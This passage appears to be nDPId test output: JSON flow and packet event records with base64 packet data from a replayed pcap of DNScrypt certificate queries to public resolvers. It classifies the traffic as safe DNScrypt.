AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45993,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":56688,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105609,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcRf4gAL0RYAYKAAABMw8+Qd1wAbsGBCAixUYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":56688,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105630,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQRf4Aub0RhNkKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":225,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":89,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105709,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhidAACgR63I0QeuBCgAAAQG72qsAwNq7Cm+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33521,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105859,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcRf8gAL0RYAUKAAABMw8+QYLxAbsGBHqjxUQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33521,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105877,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQRf8Aub0RhNgKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":228,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":43714,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105922,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcRgBAAL0RQ8QKAAABMw8+QarCAbsCCDQmxUUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAHBAAwBvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":43714,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":230,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":946739312106,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":60735,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":106245,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcRgFAAL0RQ8MKAAABMw8+Qe0\/AbsCCDQmxUcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAHBAAwBvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":230,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":946739312106,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":60735,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00670{"flow_id":91,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":130685,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1MsAADURfjwzDz5BCgAAAQG7l5wAxS3cxUiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00670{"flow_id":93,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132025,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1MwAADURfjszDz5BCgAAAQG73XAAxegJxUaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":233,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":41913,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132036,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwbRAAL0RUGYKAAABLZm7YKO5EPcCCKvPMPgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":233,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":41913,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":37890,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132111,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwbUgAL0RbKUKAAABLZm7YJQCEPcGBM6aMPUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA